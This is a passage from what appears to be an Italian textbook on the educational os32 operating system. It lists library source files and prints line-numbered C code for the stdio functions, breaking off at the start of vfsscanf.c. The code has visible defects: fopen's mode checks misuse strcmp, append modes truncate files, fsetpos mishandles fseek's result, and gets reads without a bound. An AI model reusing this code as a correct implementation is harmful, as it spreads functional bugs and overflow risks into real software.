120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591

120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675

120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802

120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.12.1 lib/stdio/FILE.c

Si veda la sezione 116.2.

```
2830001 #include <stdio.h>
2830002 //
2830003 // There must be room for at least 'FOPEN_MAX' elements.
2830004 //
2830005 FILE _stream[FOPEN_MAX];
2830006 //----------------------------------------------------------------------
2830007 void
2830008 _stdio_stream_setup (void)
2830009 {
2830010     _stream[0].fdn   = 0;
2830011     _stream[0].error = 0;
2830012     _stream[0].eof   = 0;
2830013
2830014     _stream[1].fdn   = 1;
2830015     _stream[1].error = 0;
2830016     _stream[1].eof   = 0;
2830017
2830018     _stream[2].fdn   = 2;
2830019     _stream[2].error = 0;
2830020     _stream[2].eof   = 0;
2830021 }
```

120.12.2 lib/stdio/clearerr.c

Si veda la sezione 113.11.

```
2840001 #include <stdio.h>
2840002 //----------------------------------------------------------------------
2840003 void
2840004 clearerr (FILE *fp)
2840005 {
2840006     if (fp != NULL)
2840007       {
2840008         fp->error = 0;
2840009         fp->eof   = 0;
2840010       }
2840011 }
```

120.12.3 lib/stdio/fclose.c

Si veda la sezione 113.27.

```
2850001 #include <stdio.h>
2850002 #include <unistd.h>
2850003 //----------------------------------------------------------------------
2850004 int
```

```
2850005 fclose (FILE *fp)
2850006 {
2850007     return (close (fp->fdn));
2850008 }
```

120.12.4 lib/stdio/feof.c

Si veda la sezione 113.28.

```
2860001 #include <stdio.h>
2860002 //----------------------------------------------------------------------
2860003 int
2860004 feof (FILE *fp)
2860005 {
2860006     if (fp != NULL)
2860007       {
2860008         return (fp->eof);
2860009       }
2860010     return (0);
2860011 }
```

120.12.5 lib/stdio/ferror.c

Si veda la sezione 113.29.

```
2870001 #include <stdio.h>
2870002 //----------------------------------------------------------------------
2870003 int
2870004 ferror (FILE *fp)
2870005 {
2870006     if (fp != NULL)
2870007       {
2870008         return (fp->error);
2870009       }
2870010     return (0);
2870011 }
```

120.12.6 lib/stdio/fflush.c

Si veda la sezione 113.30.

```
2880001 #include <stdio.h>
2880002 //----------------------------------------------------------------------
2880003 int
2880004 fflush (FILE *fp)
2880005 {
2880006     //
2880007     // The os32 library does not have any buffered data.
```

```
2880008     //
2880009     return (0);
2880010 }
```

120.12.7 lib/stdio/fgetc.c

Si veda la sezione 113.31.

```
2890001 #include <stdio.h>
2890002 #include <sys/types.h>
2890003 #include <unistd.h>
2890004 //----------------------------------------------------------------------
2890005 int
2890006 fgetc (FILE *fp)
2890007 {
2890008     ssize_t size_read;
2890009     int     c;          // Character read.
2890010     //
2890011     for (c = 0;;)
2890012       {
2890013         size_read = read (fp->fdn, &c, (size_t) 1);
2890014         //
2890015         if (size_read <= 0)
2890016           {
2890017             //
2890018             // It is the end of file (zero) otherwise there is a
2890019             // problem (a negative value): return 'EOF'.
2890020             //
2890021             return (EOF);
2890022           }
2890023         //
2890024         // Valid read: end of scan.
2890025         //
2890026         return (c);
2890027       }
2890028 }
```

120.12.8 lib/stdio/fgetpos.c

Si veda la sezione 113.32.

```
2900001 #include <stdio.h>
2900002 //----------------------------------------------------------------------
2900003 int
2900004 fgetpos (FILE *restrict fp, fpos_t *restrict pos)
2900005 {
2900006     long int position;
2900007     //
2900008     if (fp != NULL)
```

```
2900009         {
2900010           position = ftell (fp);
2900011           if (position >= 0)
2900012             {
2900013               *pos = position;
2900014               return (0);
2900015             }
2900016         }
2900017       return (-1);
2900018   }
```

120.12.9 lib/stdio/fgets.c

Si veda la sezione 113.33.

```
2910001   #include <stdio.h>
2910002   #include <sys/types.h>
2910003   #include <unistd.h>
2910004   #include <stddef.h>
2910005   //----------------------------------------------------------------------
2910006   char *
2910007   fgets (char *restrict string, int n, FILE *restrict fp)
2910008   {
2910009       ssize_t size_read;
2910010       int     b;          // Index inside the string buffer.
2910011       //
2910012       for (b = 0; b < (n-1); b++, string[b] = 0)
2910013         {
2910014           size_read = read (fp->fdn, &string[b], (size_t) 1);
2910015           //
2910016           if (size_read <= 0)
2910017             {
2910018               //
2910019               // It is the end of file (zero) otherwise there is a
2910020               // problem (a negative value).
2910021               //
2910022               string[b] = 0;
2910023               break;
2910024             }
2910025           //
2910026           if (string[b] == '\n')
2910027             {
2910028               b++;
2910029               string[b] = 0;
2910030               break;
2910031             }
2910032         }
2910033       //
2910034       // If `b` is zero, nothing was read and `NULL' is returned.
2910035       //
2910036       if (b == 0)
```

```
2910037         {
2910038           return (NULL);
2910039         }
2910040       else
2910041         {
2910042           return (string);
2910043         }
2910044 }
```

120.12.10 lib/stdio/fileno.c

Si veda la sezione 113.34.

```
2920001 #include <stdio.h>
2920002 #include <errno.h>
2920003 //----------------------------------------------------------------------
2920004 int
2920005 fileno (FILE *fp)
2920006 {
2920007     if (fp != NULL)
2920008       {
2920009         return (fp->fdn);
2920010       }
2920011     errset (EBADF);                       // Bad file descriptor.
2920012     return (-1);
2920013 }
```

120.12.11 lib/stdio/fopen.c

Si veda la sezione 113.35.

```
2930001 #include <fcntl.h>
2930002 #include <stdarg.h>
2930003 #include <stddef.h>
2930004 #include <string.h>
2930005 #include <errno.h>
2930006 #include <sys/os32.h>
2930007 #include <limits.h>
2930008 #include <stdio.h>
2930009 //----------------------------------------------------------------------
2930010 FILE *
2930011 fopen (const char *path, const char *mode)
2930012 {
2930013     int fdn;
2930014     //
2930015     if      (strcmp (mode, "r")   ||
2930016               strcmp (mode, "rb"))
2930017       {
2930018         fdn = open (path, O_RDONLY);
```

```
2930019           }
2930020         else if (strcmp (mode, "r+")  ||
2930021                  strcmp (mode, "r+b") ||
2930022                  strcmp (mode, "rb+"))
2930023           {
2930024             fdn = open (path, O_RDWR);
2930025           }
2930026         else if (strcmp (mode, "w")  ||
2930027                  strcmp (mode, "wb"))
2930028           {
2930029             fdn = open (path, O_WRONLY|O_CREAT|O_TRUNC, 0666);
2930030           }
2930031         else if (strcmp (mode, "w+")  ||
2930032                  strcmp (mode, "w+b") ||
2930033                  strcmp (mode, "wb+"))
2930034           {
2930035             fdn = open (path, O_RDWR|O_CREAT|O_TRUNC, 0666);
2930036           }
2930037         else if (strcmp (mode, "a")  ||
2930038                  strcmp (mode, "ab"))
2930039           {
2930040             fdn = open (path, O_WRONLY|O_APPEND|O_CREAT|O_TRUNC, 0666);
2930041           }
2930042         else if (strcmp (mode, "a+")  ||
2930043                  strcmp (mode, "a+b") ||
2930044                  strcmp (mode, "ab+"))
2930045           {
2930046             fdn = open (path, O_RDWR|O_APPEND|O_CREAT|O_TRUNC, 0666);
2930047           }
2930048         else
2930049           {
2930050             errset (EINVAL);                // Invalid argument.
2930051             return (NULL);
2930052           }
2930053         //
2930054         // Check the file descriptor returned.
2930055         //
2930056         if (fdn < 0)
2930057           {
2930058             //
2930059             // The variable `errno' is already set.
2930060             //
2930061             errset (errno);
2930062             return (NULL);
2930063           }
2930064         //
2930065         // A valid file descriptor is available: convert it into a file
2930066         // stream. Please note that the file descriptor number must be
2930067         // saved inside the corresponding `_stream[]' array, because the
2930068         // file pointer do not have knowledge of the relative position
2930069         // inside the array.
2930070         //
```

```
2930071     _stream[fdn].fdn = fdn;      // Saved the file descriptor number.
2930072     //
2930073     return (&_stream[fdn]);      // Returned the file stream pointer.
2930074 }
```

120.12.12 lib/stdio/fprintf.c

Si veda la sezione 113.84.

```
2940001 #include <stdio.h>
2940002 //----------------------------------------------------------------------
2940003 int
2940004 fprintf (FILE *fp, char *restrict format, ...)
2940005 {
2940006     va_list ap;
2940007     va_start (ap, format);
2940008     return (vfprintf (fp, format, ap));
2940009 }
```

120.12.13 lib/stdio/fputc.c

Si veda la sezione 113.37.

```
2950001 #include <stdio.h>
2950002 #include <sys/types.h>
2950003 #include <sys/os32.h>
2950004 #include <string.h>
2950005 #include <unistd.h>
2950006 //----------------------------------------------------------------------
2950007 int
2950008 fputc (int c, FILE *fp)
2950009 {
2950010     ssize_t size_written;
2950011     char    character = (char) c;
2950012     size_written = write (fp->fdn, &character, (size_t) 1);
2950013     if (size_written < 0)
2950014       {
2950015         fp->eof = 1;
2950016         return (EOF);
2950017       }
2950018     return (c);
2950019 }
```

120.12.14 lib/stdio/fputs.c

Si veda la sezione 113.38.

```
2960001 #include <stdio.h>
2960002 #include <string.h>
2960003 //----------------------------------------------------------------------
2960004 int
2960005 fputs (const char *restrict string, FILE *restrict fp)
2960006 {
2960007     int      i; // Index inside the string to be printed.
2960008     int status;
2960009 
2960010     for (i = 0; i < strlen (string); i++)
2960011       {
2960012         status = fputc (string[i], fp);
2960013         if (status == EOF)
2960014           {
2960015             fp->eof = 1;
2960016             return (EOF);
2960017           }
2960018       }
2960019     return (0);
2960020 }
```

120.12.15 lib/stdio/fread.c

Si veda la sezione 113.39.

```
2970001 #include <unistd.h>
2970002 #include <stdio.h>
2970003 //----------------------------------------------------------------------
2970004 size_t
2970005 fread (void *restrict buffer, size_t size, size_t nmemb,
2970006        FILE *restrict fp)
2970007 {
2970008     ssize_t size_read;
2970009     size_read = read (fp->fdn, buffer, (size_t) (size * nmemb));
2970010     if (size_read == 0)
2970011       {
2970012         fp->eof = 1;
2970013         return ((size_t) 0);
2970014       }
2970015     else if (size_read < 0)
2970016       {
2970017         fp->error = 1;
2970018         return ((size_t) 0);
2970019       }
2970020     else
2970021       {
2970022         return ((size_t) (size_read / size));
```

```
2970023         }
2970024 }
```

120.12.16 lib/stdio/freopen.c

Si veda la sezione 113.35.

```
2980001 #include <fcntl.h>
2980002 #include <stdarg.h>
2980003 #include <stddef.h>
2980004 #include <string.h>
2980005 #include <errno.h>
2980006 #include <sys/os32.h>
2980007 #include <limits.h>
2980008 #include <stdio.h>
2980009 //----------------------------------------------------------------------
2980010 FILE *
2980011 freopen (const char *restrict path, const char *restrict mode,
2980012          FILE *restrict fp)
2980013 {
2980014     int   status;
2980015     FILE *fp_new;
2980016     //
2980017     if (fp == NULL)
2980018       {
2980019         return (NULL);
2980020       }
2980021     //
2980022     status = fclose (fp);
2980023     if (status != 0)
2980024       {
2980025         fp->error = 1;
2980026         return (NULL);
2980027       }
2980028     //
2980029     fp_new = fopen (path, mode);
2980030     //
2980031     if (fp_new == NULL)
2980032       {
2980033         return (NULL);
2980034       }
2980035     //
2980036     if (fp_new != fp)
2980037       {
2980038         fclose (fp_new);
2980039         return (NULL);
2980040       }
2980041     //
2980042     return (fp_new);
2980043 }
```

120.12.17 lib/stdio/fscanf.c

Si veda la sezione 113.95.

```
2990001 #include <stdio.h>
2990002 //----------------------------------------------------------------------
2990003 int
2990004 fscanf (FILE *restrict fp, const char *restrict format, ...)
2990005 {
2990006     va_list ap;
2990007     va_start (ap, format);
2990008     return vfscanf (fp, format, ap);
2990009 }
```

120.12.18 lib/stdio/fseek.c

Si veda la sezione 113.43.

```
3000001 #include <stdio.h>
3000002 #include <unistd.h>
3000003 //----------------------------------------------------------------------
3000004 int
3000005 fseek (FILE *fp, long int offset, int whence)
3000006 {
3000007     off_t off_new;
3000008     off_new = lseek (fp->fdn, (off_t) offset, whence);
3000009     if (off_new < 0)
3000010       {
3000011         fp->error = 1;
3000012         return (-1);
3000013       }
3000014     else
3000015       {
3000016         fp->eof = 0;
3000017         return (0);
3000018       }
3000019 }
```

120.12.19 lib/stdio/fseeko.c

Si veda la sezione 113.43.

```
3010001 #include <stdio.h>
3010002 #include <unistd.h>
3010003 //----------------------------------------------------------------------
3010004 int
3010005 fseeko (FILE *fp, off_t offset, int whence)
3010006 {
3010007     off_t off_new;
3010008     off_new = lseek (fp->fdn, offset, whence);
```

```
3010009     if (off_new < 0)
3010010       {
3010011         fp->error = 1;
3010012         return (-1);
3010013       }
3010014     else
3010015       {
3010016         return (0);
3010017       }
3010018 }
```

120.12.20 lib/stdio/fsetpos.c

Si veda la sezione 113.32.

```
3020001 #include <stdio.h>
3020002 //----------------------------------------------------------------------
3020003 int
3020004 fsetpos (FILE *fp, fpos_t *pos)
3020005 {
3020006     long int position;
3020007     //
3020008     if (fp != NULL)
3020009       {
3020010         position = fseek (fp, (long int) *pos, SEEK_SET);
3020011         if (position >= 0)
3020012           {
3020013             *pos = position;
3020014             return (0);
3020015           }
3020016       }
3020017     return (-1);
3020018 }
```

120.12.21 lib/stdio/ftell.c

Si veda la sezione 113.46.

```
3030001 #include <stdio.h>
3030002 #include <unistd.h>
3030003 //----------------------------------------------------------------------
3030004 long int
3030005 ftell (FILE *fp)
3030006 {
3030007     return ((long int) lseek (fp->fdn, (off_t) 0, SEEK_CUR));
3030008 }
```

120.12.22 lib/stdio/ftello.c

Si veda la sezione 113.46.

```
3040001 #include <stdio.h>
3040002 #include <unistd.h>
3040003 //----------------------------------------------------------------------
3040004 off_t
3040005 ftello (FILE *fp)
3040006 {
3040007     return (lseek (fp->fdn, (off_t) 0, SEEK_CUR));
3040008 }
```

120.12.23 lib/stdio/fwrite.c

Si veda la sezione 113.48.

```
3050001 #include <unistd.h>
3050002 #include <stdio.h>
3050003 //----------------------------------------------------------------------
3050004 size_t
3050005 fwrite (const void *restrict buffer, size_t size, size_t nmemb,
3050006         FILE *restrict fp)
3050007 {
3050008     ssize_t size_written;
3050009     size_written = write (fp->fdn, buffer, (size_t) (size * nmemb));
3050010     if (size_written < 0)
3050011       {
3050012         fp->error = 1;
3050013         return ((size_t) 0);
3050014       }
3050015     else
3050016       {
3050017         return ((size_t) (size_written / size));
3050018       }
3050019 }
```

120.12.24 lib/stdio/getchar.c

Si veda la sezione 113.31.

```
3060001 #include <stdio.h>
3060002 #include <sys/types.h>
3060003 #include <unistd.h>
3060004 //----------------------------------------------------------------------
3060005 int
3060006 getchar (void)
3060007 {
3060008     ssize_t size_read;
3060009     int     c;          // Character read.
```

```
3060010     //
3060011     for (c = 0;;)
3060012       {
3060013         size_read = read (STDIN_FILENO, &c, (size_t) 1);
3060014         //
3060015         if (size_read <= 0)
3060016           {
3060017             //
3060018             // It is the end of file (zero) otherwise there is a
3060019             // problem (a negative value): return 'EOF'.
3060020             //
3060021             _stream[STDIN_FILENO].eof = 1;
3060022             return (EOF);
3060023           }
3060024         //
3060025         // Valid read.
3060026         //
3060027         if (size_read == 0)
3060028           {
3060029             //
3060030             // If no character is ready inside the keyboard buffer, just
3060031             // retry.
3060032             //
3060033             continue;
3060034           }
3060035         //
3060036         // End of scan.
3060037         //
3060038         return (c);
3060039       }
3060040 }
```

120.12.25 lib/stdio/gets.c

Si veda la sezione 113.33.

```
3070001 #include <stdio.h>
3070002 #include <sys/types.h>
3070003 #include <unistd.h>
3070004 #include <stddef.h>
3070005 //----------------------------------------------------------------------
3070006 char *
3070007 gets (char *string)
3070008 {
3070009     ssize_t size_read;
3070010     int     b;          // Index inside the string buffer.
3070011     //
3070012     for (b = 0;; b++, string[b] = 0)
3070013       {
3070014         size_read = read (STDIN_FILENO, &string[b], (size_t) 1);
3070015         //
```

```
3070016         if (size_read <= 0)
3070017           {
3070018             //
3070019             // It is the end of file (zero) otherwise there is a
3070020             // problem (a negative value).
3070021             //
3070022             _stream[STDIN_FILENO].eof = 1;
3070023             string[b] = 0;
3070024             break;
3070025           }
3070026         //
3070027         if (string[b] == '\n')
3070028           {
3070029             b++;
3070030             string[b] = 0;
3070031             break;
3070032           }
3070033       }
3070034     //
3070035     // If 'b' is zero, nothing was read and 'NULL' is returned.
3070036     //
3070037     if (b == 0)
3070038       {
3070039         return (NULL);
3070040       }
3070041     else
3070042       {
3070043         return (string);
3070044       }
3070045 }
```

120.12.26 lib/stdio/perror.c

Si veda la sezione 113.83.

```
3080001 #include <stdio.h>
3080002 #include <errno.h>
3080003 #include <stddef.h>
3080004 #include <string.h>
3080005 //----------------------------------------------------------------------
3080006 void
3080007 perror (const char *string)
3080008 {
3080009     //
3080010     // If errno is zero, there is nothing to show.
3080011     //
3080012     if (errno == 0)
3080013       {
3080014         return;
3080015       }
3080016     //
```

```
3080017     // Show the string if there is one.
3080018     //
3080019     if (string != NULL && strlen (string) > 0)
3080020       {
3080021         printf ("%s: ", string);
3080022       }
3080023     //
3080024     // Show the translated error.
3080025     //
3080026     if (errfn[0] != 0 && errln != 0)
3080027       {
3080028         printf ("[%s:%u:%i] %s\n",
3080029                 errfn, errln, errno, strerror (errno));
3080030       }
3080031     else
3080032       {
3080033         printf ("[%i] %s\n", errno, strerror (errno));
3080034       }
3080035 }
```

120.12.27 lib/stdio/printf.c

Si veda la sezione 113.84.

```
3090001 #include <stdio.h>
3090002 //----------------------------------------------------------------------
3090003 int
3090004 printf      (const char *restrict format, ...)
3090005 {
3090006     va_list ap;
3090007     va_start (ap, format);
3090008     return (vprintf (format, ap));
3090009 }
```

120.12.28 lib/stdio/putchar.c

Si veda la sezione 113.37.

```
3100001 #include <stdio.h>
3100002 #include <sys/types.h>
3100003 #include <sys/os32.h>
3100004 #include <string.h>
3100005 #include <unistd.h>
3100006 //----------------------------------------------------------------------
3100007 int
3100008 putchar (int c)
3100009 {
3100010     return (fputc (c, stdout));
3100011 }
```

120.12.29 lib/stdio/puts.c

Si veda la sezione 113.38.

```
3110001 #include <stdio.h>
3110002 //----------------------------------------------------------------------
3110003 int
3110004 puts (const char *string)
3110005 {
3110006     int status;
3110007     status = printf ("%s\n", string);
3110008     if (status < 0)
3110009       {
3110010         return (EOF);
3110011       }
3110012     else
3110013       {
3110014         return (status);
3110015       }
3110016 }
```

120.12.30 lib/stdio/rewind.c

Si veda la sezione 113.93.

```
3120001 #include <stdio.h>
3120002 //----------------------------------------------------------------------
3120003 void
3120004 rewind (FILE *fp)
3120005 {
3120006     (void) fseek (fp, 0L, SEEK_SET);
3120007     fp->error = 0;
3120008 }
```

120.12.31 lib/stdio/scanf.c

Si veda la sezione 113.95.

```
3130001 #include <stdio.h>
3130002 //----------------------------------------------------------------------
3130003 int
3130004 scanf (const char *restrict format, ...)
3130005 {
3130006     va_list ap;
3130007     va_start (ap, format);
3130008     return vfscanf (stdin, format, ap);
3130009 }
```

120.12.32 lib/stdio/setbuf.c

Si veda la sezione 113.96.

```
3140001 #include <stdio.h>
3140002 //----------------------------------------------------------------------
3140003 void
3140004 setbuf (FILE *restrict fp, char *restrict buffer)
3140005 {
3140006     //
3140007     // The os32 library does not have any buffered data.
3140008     //
3140009     return;
3140010 }
```

120.12.33 lib/stdio/setvbuf.c

Si veda la sezione 113.96.

```
3150001 #include <stdio.h>
3150002 //----------------------------------------------------------------------
3150003 int
3150004 setvbuf (FILE *restrict fp, char *restrict buffer, int buf_mode,
3150005          size_t size)
3150006 {
3150007     //
3150008     // The os32 library does not have any buffered data.
3150009     //
3150010     return (0);
3150011 }
```

120.12.34 lib/stdio/snprintf.c

Si veda la sezione 113.84.

```
3160001 #include <stdio.h>
3160002 #include <stdarg.h>
3160003 //----------------------------------------------------------------------
3160004 int
3160005 snprintf (char *restrict string, size_t size,
3160006           const char *restrict format, ...)
3160007 {
3160008     va_list ap;
3160009     va_start (ap, format);
3160010     return vsnprintf (string, size, format, ap);
3160011 }
```

120.12.35 lib/stdio/sprintf.c

Si veda la sezione 113.84.

```
3170001 #include <stdio.h>
3170002 #include <stdarg.h>
3170003 //----------------------------------------------------------------------
3170004 int
3170005 sprintf (char *restrict string, const char *restrict format,
3170006           ...)
3170007 {
3170008     va_list ap;
3170009     va_start (ap, format);
3170010     return vsnprintf (string, (size_t) BUFSIZ, format, ap);
3170011 }
```

120.12.36 lib/stdio/sscanf.c

Si veda la sezione 113.95.

```
3180001 #include <stdio.h>
3180002 //----------------------------------------------------------------------
3180003 int
3180004 sscanf (char *restrict string, const char *restrict format, ...)
3180005 {
3180006     va_list ap;
3180007     va_start (ap, format);
3180008     return vsscanf (string, format, ap);
3180009 }
```

120.12.37 lib/stdio/vfprintf.c

Si veda la sezione 113.130.

```
3190001 #include <stdio.h>
3190002 #include <sys/types.h>
3190003 #include <sys/os32.h>
3190004 #include <string.h>
3190005 #include <unistd.h>
3190006 //----------------------------------------------------------------------
3190007 int
3190008 vfprintf (FILE *fp, char *restrict format, va_list arg)
3190009 {
3190010     ssize_t     size_written;
3190011     size_t      size;
3190012     size_t      size_total;
3190013     int         status;
3190014     char        string[BUFSIZ];
3190015     char       *buffer = string;
3190016     //
```

```
3190017     buffer[0] = 0;
3190018     status    = vsprintf (buffer, format, arg);
3190019     //
3190020     size = strlen (buffer);
3190021     if (size >= BUFSIZ)
3190022       {
3190023         size = BUFSIZ;
3190024       }
3190025     //
3190026     for (size_total = 0, size_written = 0;
3190027          size_total < size;
3190028          size_total += size_written, buffer += size_written)
3190029       {
3190030         size_written = write (fp->fdn, buffer, size - size_total);
3190031         if (size_written < 0)
3190032           {
3190033             return (size_total);
3190034           }
3190035       }
3190036     return (size);
3190037 }
```

120.12.38 lib/stdio/vfscanf.c

Si veda la sezione 113.131.

```
3200001 #include <stdio.h>
3200002 
3200003 //----------------------------------------------------------------------
3200004 int vfsscanf (FILE *restrict fp, const char *string,
3200005               const char *restrict format, va_list ap);
3200006 //----------------------------------------------------------------------
3200007 int
3200008 vfscanf (FILE *restrict fp, const char *restrict format, va_list ap)
3200009 {
3200010     return (vfsscanf (fp, NULL, format, ap));
3200011 }
3200012 //----------------------------------------------------------------------
```

120.12.39 lib/stdio/vfsscanf.c

Si veda la sezione 113.131.

```
3210001 #include <stdint.h>
3210002 #include <stdbool.h>
3210003 #include <stdlib.h>
3210004 #include <string.h>
3210005 #include <stdio.h>
3210006 #include <stdarg.h>
```

```
3210007 #include <ctype.h>
